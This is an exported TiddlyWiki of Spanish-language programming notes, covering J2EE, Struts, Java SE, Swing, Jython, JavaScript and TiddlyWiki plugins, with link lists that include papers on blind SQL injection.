* http://www.kachakil.com/papers/SFX-SQLi-en.htm
* http://labs.portcullis.co.uk/tag/whitepaper/
* http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
* http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf
* http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf
* http://elladodelmal.blogspot.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
* http://elladodelmal.blogspot.com/2008/02/arithmetic-blind-sql-injection.html
* http://elladodelmal.blogspot.com/2009/07/arithmetic-blind-sql-injection-i-de-ii.html
* http://elladodelmal.blogspot.com/2009/02/rfd-remote-file-downloading-en.html
* http://elladodelmal.blogspot.com/2009/01/mi-primera-comilla.html
* http://elladodelmal.blogspot.com/2008/01/time-based-blind-sql-injection-using.html
* http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html
* http://elladodelmal.blogspot.com/2009/09/inverted-sql-queries-i-de-ii.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes relacionados única y exclusivamente con J2EE. Para cosas más generales, usar [[Java]]
!Apuntes rápidos
* Otener Obtener un {{{context-param}}} definido en el {{{web.xml}}}:
{{{
String param = request.getSession().getServletContext().getInitParameter("param-name");
}}}
* Cuando uses los ActionForm de Struts, asegúrate de que cada propiedad sea usada en un {{{<html:lo_que_sea/>}}} antes de usarla en un JSP (por ejemplo, al hacer un {{{<c:out />}}}). Además, si no usas la propiedad al menos en un {{{<html:hidden />}}}, no llegará el valor al post (vendra con valor nulo).
* Pon siempre el scope {{{request}}} en todos los puntos del {{{struts-config.xml}}}.
* Para devolver un archivo {{{.rtf}}}, o cualquier tipo, adaptando el ejemplo de la manera adecuada, se deben introducir las siguientes dos líneas en el servlet:
{{{
resp.setContentType("application/rtf");
resp.addHeader("Content-Disposition", "inline;filename=estadisticas_.rtf");
}}}
{{{inline}}} puede sustituirse por {{{attached}}} para que el archivo se descargue pero no se vea.
* Para que Tomcat tome un directorio como si fuera una aplicación web dentro de su WebApps se debe añadir los siguiente a {{{server.xml}}}:
{{{
<Context
path="/tercerosComponent"
docBase="C:\\ruta\\a\\los\\documentos"
crossContext="true"
debug="0"
reloadable="true"
trusted="false"
>
<ResourceLink global="jdbc/nombre_jdbc" name="jdbc/nombre_jdbc" type="javax.sql.DataSource"/>
</Context>
}}}
* ''Ámbitos (scopes):'' Se pueden usar en las expresiones EL. De más a menos específico.
** //pageScope:// Ámbito de página (JSP)
** //requestScope:// Ámbito de petición
** //sessionScope:// Ámbito de sesión
** //applicationScope:// Ámbito de aplicación
* ''Usar lenguaje de expresiones (EL) en servidores de walqa:'' Es preciso incluir una directiva en los JSPs que vaya a usarlas:
{{{
<%@ page isELIgnored ="false" %>
}}}
!Enlaces interesantes
* JSTL primer (parte 1, EL): http://www.ibm.com/developerworks/java/library/j-jstl0211.html
* Guía de empaquetado de aplicaciones EJB: http://download.oracle.com/docs/cd/B31017_01/web.1013/b28221/undejdev003.htm
* Consejos de BEA para desarrolladores: http://edocs.bea.com/wls/docs61/programming/index.html
* Cómo definir páginas de error: http://scriptlandia.blogspot.com/2006/06/how-to-handle-jsp-error-page.html
* Manipulación de strings dentro de EL: http://www.squarebits.com/?p=21
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[Java]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre java para móviles ("""J2ME""")
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[Java]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Notas sobre la distribución estándar y sus librerías
!Apuntes rápidos
* Cuidado con los bucles y los {{{Iterator}}}. Si quieres eliminar un elemento de la colección iterada, hay que hacerlo más o menos así:
{{{
Iterator it = coleccion.iterator();
while(it.hasNext()){
Object obj = it.next();
if(<condiciones de eliminación>){
it.remove();
}
}
}}}
* Parámetros que se deben añadir a la llamada a java.exe para que utilice un proxy:
{{{
java
-Dhttp.proxSet=true
-Dhttp.proxyHost=proxy.example.com
-Dhttp.proxyPort=8080
-Dhttp.noProxyHosts=localhost
-Dhttp.proxyUser="DOMINIO/<usuario.de.windows>"
-Dhttp.proxyPassword=<contraseña_de_windows>
}}}
!Enlaces interesantes
* Java SE 6 API: http://java.sun.com/javase/6/docs/api/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tab:[[Java]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
JRResultSetDataSource es una implementación de JRDataSource que acepta un ResultSet como contenedor de datos. El ResultSet puede ser el resultado de la ejecución de cualquier consulta vía JDBC.
!Descripción
Apuntes sobre lenguajes interpretados sobre JavasScript.
//Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.//
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
!Introducción
!!Descripción
Permite crear un JTextField con campos delimitados por corchetes seleccionables con tabulador. Lo mejor es ver la página original para enterlo correctamente.
!!Extraido de
http://debugmodeon.com/item/127885/jtextfield-editable-por-fragmentos
!Código fuente
{{{
import java.awt.Container;
import java.awt.Font;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.KeyboardFocusManager;
import java.awt.event.FocusAdapter;
import java.awt.event.FocusEvent;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import javax.swing.JComponent;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.UIManager;
public class TabStopTextField extends JTextField {
public TabStopTextField() {
setFocusTraversalKeysEnabled(false);
addKeyListener(new KeyAdapter() {
public void keyTyped(KeyEvent e) {
if(e.getKeyChar() == '\t') {
nextStop(getSelectionEnd(), true);
}
}
});
addFocusListener(new FocusAdapter() {
public void focusGained(FocusEvent e) {
nextStop(0, false);
}
});
}
private void nextStop(int pos, boolean changeFocus) {
boolean next = false;
int start = getText().indexOf('[', pos);
int end = 0;
if(start < 0)
next = true;
else {
end = getText().indexOf(']', start);
if(end < 0)
next = true;
}
if(next) {
if(changeFocus)
KeyboardFocusManager.getCurrentKeyboardFocusManager().focusNextComponent();
} else {
setSelectionStart(start);
setSelectionEnd(end+1);
}
}
public static void main(String[] args) throws Exception {
System.setProperty("swing.aatext", "true");
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
JFrame frame = new JFrame("Ejemplo de TabStopTextField");
JPanel p = new JPanel();
p.setLayout(new GridBagLayout());
GridBagConstraints constraints = new GridBagConstraints();
constraints.gridy = 1;
constraints.insets = new Insets(5, 5, 5, 5);
JTextField textField = new JTextField();
Font f = textField.getFont();
f = f.deriveFont(18f);
textField.setFont(f);
textField.setText("Presiona tabulador varias veces");
textField.setEditable(false);
addComponent(constraints, p, "", textField, f);
createTabStopTextField(constraints, "Conexión Jdbc",
"jdbc:mysql://[host]/[database]?user=[user]&pass=[password]", f, p);
createTabStopTextField(constraints, "HTML input",
"<input type='[type]' value='[value]' id='[id]' />", f, p);
createTabStopTextField(constraints, "Nombre fichero",
"/home/[usuario]/[nombre].tar.gz", f, p);
createTabStopTextField(constraints, "Conexión SVN",
"https://[usuario]@[dominio]/svnroot/repos/[proyecto]/trunk", f, p);
frame.getContentPane().add(p);
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
private static void createTabStopTextField(GridBagConstraints constraints,
String label, String text, Font f, Container c) {
TabStopTextField tabStopTextField = new TabStopTextField();
tabStopTextField.setText(text);
tabStopTextField.setFont(f);
addComponent(constraints, c, label, tabStopTextField, f);
}
private static void addComponent(GridBagConstraints constraints,
Container c, String label, JComponent component, Font f) {
constraints.fill = GridBagConstraints.NONE;
constraints.anchor = GridBagConstraints.LINE_END;
constraints.gridx = 1;
JLabel lbl = new JLabel(label);
lbl.setFont(f.deriveFont(14f));
c.add(lbl, constraints);
constraints.fill = GridBagConstraints.BOTH;
constraints.gridx = 2;
c.add(component, constraints);
constraints.gridy++;
}
}
}}}
!Descripción
Apuntes sobre lenguajes que corren en la Java Virtual Machine.
//Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.//
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
!Descripción
Apuntes sobre JasperReports e iReports
!Apuntes rápidos
*
!Enlaces interesantes
* ''Documentación oficial:'' http://jasperforge.org/website/jasperreportswebsite/trunk/tutorial.html?group_id=252
* ''JRResultSetDataSource:'' http://jasperreports.sourceforge.net/api/net/sf/jasperreports/engine/JRResultSetDataSource.html
* ''Libro sobre JasperReports:'' http://www.infoap.utcluj.ro/bdate/jreports.pdf
* Documentación: http://jasperforge.org/website/jasperreportswebsite/trunk/documentation.html?group_id=252
* Ejemplos: http://jasperforge.org/website/jasperreportswebsite/trunk/samples.html?group_id=252
* Referencia JRXML: http://jasperforge.org/uploads/publish/jasperreportswebsite/trunk/schema.reference.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Cosas diversas que afectan a o pueden ser utilizadas por varias versiones de java, o son asuntos de librerías bastantes comunes.
!Apuntes rápidos
* Extraer el stacktrace de una excepción en un archivo externo:
{{{
}catch(Exception ex) {
try {
PrintWriter pw = new PrintWriter("c:/ruta/a/archivo.txt");
ex.printStackTrace(pw);
pw.close();
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
}
}}}
* Obtener el {{{JAR}}} desde donde se carga una clase:
{{{
<Class>.getProtectionDomain().getCodeSource().getLocation()
}}}
* Conexión JDBC con driver thin de oracle:
{{{
jdbc:oracle:thin:@1.40.1.196:1521:HUERVA
}}}
* Eliminar duplicados en hibernate:
{{{
if(solicitudes==null || solicitudes.size()==0){
return null;
}else{
//Elimina duplicados
Set setItems = new LinkedHashSet(solicitudes);
solicitudes.clear();
solicitudes.addAll(setItems);
return (Solicitud[])solicitudes.toArray(new Solicitud[0]);
}
}}}
!Enlaces interesantes
* API
** Java SE 6 API: http://java.sun.com/javase/6/docs/api/
* Libros
** http://free-ebooks-download.org/
** http://books4java.blogspot.com/
** http://www.javabooks.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción
Una de las principales novedades de Java 1.5.0 fue la inclusión de tipos genéricos que facilitaban enormemente el trabajo con listas y colecciones, así como automatizaban la inferencia de tipos. Esto, unido al auto(in)boxing (conversión automática entre tipos básicos y clases contenedoras) convierte en sencillas y rápidas de programar algunas de las tareas más tediosas de Java: el tratamiento de colecciones complejas.
! Más información
* Guía oficial de SUN (ahora Oracle :-) ): http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html
* Artículo del "Java tutorial": http://java.sun.com/docs/books/tutorial/java/generics/index.html
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Generics_in_Java
* Wikilibro: http://en.wikibooks.org/wiki/Java_Programming/Generics
* Mundogeek: http://mundogeek.net/archivos/2009/03/11/generics-en-java/
* Java Generics FAQs: http://www.angelikalanger.com/GenericsFAQ/JavaGenericsFAQ.html
!Descripción
Apuntes sobre Javascript en cliente (no en servidor), DHTML y cualquier cosa que afecte al DOM de HTML
!Apuntes rápidos
* {{{"".trim()}}} en Javascript:
{{{
String.prototype.trim = function(){ return this.replace(/^\s+|\s+$/g,'') }
String.prototype.ltrim = function() { return this.replace(/^\s+/,"") }
String.prototype.rtrim = function() { return this.replace(/\s+$/,"") }
}}}
* Bucles a la [[Python]]:
{{{
for (variable in object)
{
code to be executed
}
}}}
* Si tienes instalado firebug, puedes usar la función {{{console.log()}}} para escribir mensajes de depuración. Más información aquí: http://getfirebug.com/console.html. Ejemplo:
{{{
console.log("The %s jumped over %d tall buildings", animal, count);
}}}
!Enlaces interesantes
* ''Documentación y herramientas:''
** El sitio de Douglas Crockford: http://javascript.crockford.com
** JS Guide (Crockford): http://javascript.crockford.com/survey.html
** JS for hackers: http://www.thespanner.co.uk/2007/09/19/javascript-for-hackers
** JS Guide (Mozilla): https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide
** JS Reference (Mozilla): https://developer.mozilla.org
** JS Reference (MS): http://msdn.microsoft.com/en-us/library
** Debugger JSLint: http://www.jslint.com/lint.html/en/Core_JavaScript_1.5_Reference/yek4tbz0%28VS.85%29.aspx
** Event driven web design: http://yuiblog.com/blog/2007/01/17/event-plan
** Event delegation vs Event handling: http://icant.co.uk/sandbox/eventdelegation/
** Recursos para el aprendizaje: http://nefariousdesigns.co.uk/archive/2007/01/learning-javascript/
** JS orientado a objetos: http://nefariousdesigns.co.uk/archive/2006/05/object-oriented-javascript/
** JS en "A list apart": http://www.alistapart.com/topics/code/scripting/
* ''Librerías:''
** jQuery:
*** wikipedia: http://es.wikipedia.org/wiki/JQuery
*** tutoriales: http://docs.jquery.com/Tutorials
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre juegos para PC
!Apuntes rápidos
*
!Enlaces interesantes
* http://gamesf.naspev.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|JumpToTopMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#JumpToTopMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a toolbar command and a macro, that create a button for quickly jumping to the top of your TW.
Handy to place in the tiddler toolbar (edit the ViewTemplate)
Note: You can add an extra toolbar to the bottom of tiddlers as well with buttons of your choice, to allow easy access to the buttons/commands in it.
!Demo:
{{{<<top>>}}}<<top>>
!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.
!History:
*23-07-06: ver 1.0
!Code
***/
//{{{
config.macros.top={};
config.macros.top.handler=function(place,macroName)
{
createTiddlyButton(place,"volver arriba","Volver arriba",this.onclick);
}
config.macros.top.onclick=function()
{
window.scrollTo(0,0);
};
config.commands.top =
{
text:" volver arriba ",
tooltip:"Volver arriba"
};
config.commands.top.handler = function(event,src,title)
{
window.scrollTo(0,0);
}
//}}}
! Introducción
Jython es una implementación de python realizada enteramente en [[Java]]. La última versión es compatible con CPython 2.5 (CPython es la versión realizada en C).
! Jython y Swing
Jython permite integrar código [[Python]] sobre [[Java]], e incluso utilizar las librerías de Java en Python permitiendo, por ejemplo, que hacer una aplicación con [[Python]] que utilice Swing como interfaz gráfica. Ejemplo de "hola mundo":
{{{
from javax.swing import JFrame, JLabel
f = JFrame()
f.add(JLabel("Hola mundo"))
f.pack()
f.setVisible(True)
}}}
! Introspección de librerías de Java
Además, Jython importa las librerías de [[Java]] como si fueran propias, con las ventajas que eso conlleva. Por ejemplo, ¿qué métodos y propiedades tiene la clase {{{java.util.Date}}}
{{{
>>> from java.util import Date
>>> print dir(Date)
['UTC', '__class__', '__delattr__', '__doc__', '__eq__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', 'after', 'before', 'class', 'clone', 'compareTo', 'date', 'day', 'equals', 'getClass', 'getDate', 'getDay', 'getHours', 'getMinutes', 'getMonth', 'getSeconds', 'getTime', 'getTimezoneOffset', 'getYear', 'hashCode', 'hours', 'minutes', 'month', 'notify', 'notifyAll', 'parse', 'seconds', 'setDate', 'setHours', 'setMinutes', 'setMonth', 'setSeconds', 'setTime', 'setYear', 'time', 'timezoneOffset', 'toGMTString', 'toLocaleString', 'toString', 'wait', 'year']
}}}
!Multihilo
Uno de los mayores inconvenientes de [[Python]] es que ''no'' es //"threadsafe"//. Esto quiere decir que sólo puede ejecutar un thread a la vez y que cada cierto tiempo cede la ejecución a los demás threads. Esto hace que el rendimiento al usar varios threads caiga y, sobre todo, evita aprovechar al 100% los nuevos procesadores multinúcleo. Sin embargo, [[Java]] no tiene este inconveniente y Jython, como librería de Java que es, tampoco.
En resumen, Jython ''si'' es //threadsafe// y puede usar threads de una manera bastante eficiente, mientras que [[Python]] "emula" los threads de manera ineficiente.
!Compilación a .class
Otro aspecto intersante de Jython es la posibilidad de ser compilado como una clase de [[Java]]en un fichero{{{.class}}}, y de esta manera ser utilizada como librería en cuanquier aplicación. Para ello se distribuye la herramienta [[jythonc|http://jython.sourceforge.net/Project/jythonc.html]], que actúa como el compilador de [[Java]]
!Trabajo con javabeans
Una de las mayores comodidades de usar Jython es la facilidad que ofrece para trabajar con beans. En vez de tener que llamar a los getters y setters de un objeto, Jython permite acceder a las propiedades del bean como si fueran atributos públicos. Veamos un ejemplo con la siguiente clase de [[Java]]:
{{{
public class Prueba{
private String texto;
public void setTexto(String value){
this.texto = value;
}
public String getTexto() {
return this.texto;
}
}
}}}
En [[Java]], para crear un nuevo objeto de este tipo, establecer la propiedad {{{texto}}} y mostrar su valor por pantalla deberíamos hacer algo como esto:
{{{
Prueba obj = new Prueba();
obj.setTexto("Soy un texto");
System.out.println(obj.getTexto());
}}}
En Jython sería mucho más sencillo y legible (se ignora el {{{import Prueba}}}):
{{{
obj = Prueba()
obj.texto = "Soy un texto"
print obj.texto
}}}
O incluso se podría hacer lo siguiente:
{{{
obj = Prueba(texto="Soy un texto")
print obj.texto
}}}
!Uso de funciones de primer orden con eventos
En [[Java]] resulta francamente engorrosa la forma de definir manejadores de eventos. Como no dispone de funciones de primer orden, hay que definir el método "in situ". Pero esta limitación no existe en Jython. El siguiente ejemplo en [[Java]]:
{{{
JButton boton = new JButton("¡Aprieta!");
boton.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e){
System.out.println("¡Ay, ay, que me presionan!");
}
});
}}}
Se podría reescribir de la siguiente manera en Jython:
{{{
def accionBoton(event):
print "¡Ay, ay, que me presionan!"
boton = JButton("¡Aprieta!", actionPerformed=accionBoton)
}}}
La versióython es mucho más clara y sencilla, y además la función {{{accionBoton}}} puede utilizarse para otros botones similares.
!Embeber Jython en Java
Desde una clase [[Java]] se puede ejecutar código Jython, aunque resulte un poco engorroso. La forma de hacerlo es pasar las líneas de código Jython una a una, como cadenas de texto al interprete de Jython. Ejemplo:
{{{
import org.python.core.PyException;
import org.python.core.PyInteger;
import org.python.core.PyObject;
import org.python.util.PythonInterpreter;
public class SimpleEmbedded {
public static void main(String[] args) throws PyException {
PythonInterpreter interp = new PythonInterpreter();
interp.exec("import sys");
interp.exec("print sys");
interp.set("a", new PyInteger(42));
interp.exec("print a");
interp.exec("x = 2+2");
PyObject x = interp.get("x");
System.out.println("x: " + x);
}
}
}}}
! Enlaces interesantes
* Sourceforge: http://sourceforge.net/projects/jython/
* Página principal: http://jython.sourceforge.net/Project/
* Guía de usuario: http://jython.sourceforge.net/Project/userguide.html
* FAQ sourceforge: http://jython.sourceforge.net/Project/userfaq.html
* FAQ wiki: http://wiki.python.org/jython/JythonFaq
* Wiki: http://wiki.python.org/jython
* ¿Por qué usar Jython?: http://wiki.python.org/jython/WhyJython
* //"Learning Jython"//: http://wiki.python.org/jython/LearningJython
* //"An introduction to Jython"//: http://www.javalobby.org/articles/jython/
* ~PyDev, un IDE para Jython: http://pydev.sourceforge.net/
!Descripción
Apuntes sobre el lenguaje de textos científicos LaTeX
!Apuntes rápidos
*
!Enlaces interesantes
* Wikilibro: http://en.wikibooks.org/wiki/LaTeX/Introduction
* Guía de la Inciclopedia (¿?): http://inciclopedia.wikia.com/wiki/Ayuda:TeX_Math
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Se dice de los mamíferos semejantes a los roedores, de los que se diferencian por poseer dos pares de incisivos superiores en lugar de uno; p. ej., el conejo y la liebre.
http://buscon.rae.es/draeI/SrvltConsulta?TIPO_BUS=3&LEMA=lagomorfo
! Enlaces
* Jakarta POI: http://poi.apache.org/trans/es/index.html
* ~JExcelApi (jxl): http://jexcelapi.sourceforge.net/
* Comparativa entre como usar POI y jxl: http://blog.taragana.com/index.php/archive/how-to-read-write-excel-spreadsheet-from-java/
!Descripción
Apuntes sobre lenguajes formales, expresiones regulares, analizadores léxicos y compiladores.
!Apuntes rápidos
*
!Enlaces interesantes
* Lenguajes formales: http://es.wikipedia.org/wiki/Lenguaje_formal
* Lenguajes formales (en inglés): http://en.wikipedia.org/wiki/Formal_language
* Gramática formal: http://es.wikipedia.org/wiki/Gram%C3%A1tica_formal
* Expresiones regulares: http://es.wikipedia.org/wiki/Expresi%C3%B3n_regular
* Referencia de expresiones regulares: http://www.regular-expressions.info/reference.html
* Expresiones regulares recursivas: http://www.catonmat.net/blog/recursive-regular-expressions
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre lenguajes de marcas que no sean html, como por ejemplos los utilizados en los wikis (la sintaxis del utilizado por TiddlyWiki se puede consultar [[aquí|ReferenciaTiddlyWiki]]
!Apuntes rápidos
*
!Enlaces interesantes
* Generador de XHTML basado en textile: http://textile.thresholdstate.com/
* Sintaxis de Markdown: http://es.debugmodeon.com/articulo/sintaxis-de-markdown
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name:|LessBackupsPlugin|
|Description:|Intelligently limit the number of backup files you create|
|Version:|3.0.1 ($Rev: 2320 $)|
|Date:|$Date: 2007-06-18 22:37:46 +1000 (Mon, 18 Jun 2007) $|
|Source:|http://mptw.tiddlyspot.com/#LessBackupsPlugin|
|Author:|Simon Baird|
|Email:|simon.baird@gmail.com|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Description
You end up with just backup one per year, per month, per weekday, per hour, minute, and second. So total number won't exceed about 200 or so. Can be reduced by commenting out the seconds/minutes/hours line from modes array
!!Notes
Works in IE and Firefox only. Algorithm by Daniel Baird. IE specific code by by Saq Imtiaz.
***/
//{{{
var MINS = 60 * 1000;
var HOURS = 60 * MINS;
var DAYS = 24 * HOURS;
if (!config.lessBackups) {
config.lessBackups = {
// comment out the ones you don't want or set config.lessBackups.modes in your 'tweaks' plugin
modes: [
["YYYY", 365*DAYS], // one per year for ever
["MMM", 31*DAYS], // one per month
["ddd", 7*DAYS], // one per weekday
//["d0DD", 1*DAYS], // one per day of month
["h0hh", 24*HOURS], // one per hour
//["m0mm", 1*HOURS], // one per minute
//["s0ss", 1*MINS], // one per second
["latest",0] // always keep last version. (leave this).
]
};
}
window.getSpecialBackupPath = function(backupPath) {
var now = new Date();
var modes = config.lessBackups.modes;
for (var i=0;i<modes.length;i++) {
// the filename we will try
var specialBackupPath = backupPath.replace(/(\.)([0-9]+\.[0-9]+)(\.html)$/,
'$1'+now.formatString(modes[i][0]).toLowerCase()+'$3')
// open the file
try {
if (config.browser.isIE) {
var fsobject = new ActiveXObject("Scripting.FileSystemObject")
var fileExists = fsobject.FileExists(specialBackupPath);
if (fileExists) {
var fileObject = fsobject.GetFile(specialBackupPath);
var modDate = new Date(fileObject.DateLastModified).valueOf();
}
}
else {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(specialBackupPath);
var fileExists = file.exists();
if (fileExists) {
var modDate = file.lastModifiedTime;
}
}
}
catch(e) {
// give up
return backupPath;
}
// expiry is used to tell if it's an 'old' one. Eg, if the month is June and there is a
// June file on disk that's more than an month old then it must be stale so overwrite
// note that "latest" should be always written because the expiration period is zero (see above)
var expiry = new Date(modDate + modes[i][1]);
if (!fileExists || now > expiry)
return specialBackupPath;
}
}
// hijack the core function
window.getBackupPath_mptw_orig = window.getBackupPath;
window.getBackupPath = function(localPath) {
return getSpecialBackupPath(getBackupPath_mptw_orig(localPath));
}
//}}}
!Descripción
Apuntes sobre librerías para C y C++
!Apuntes rápidos
*
!Enlaces interesantes
* ''Generales:''
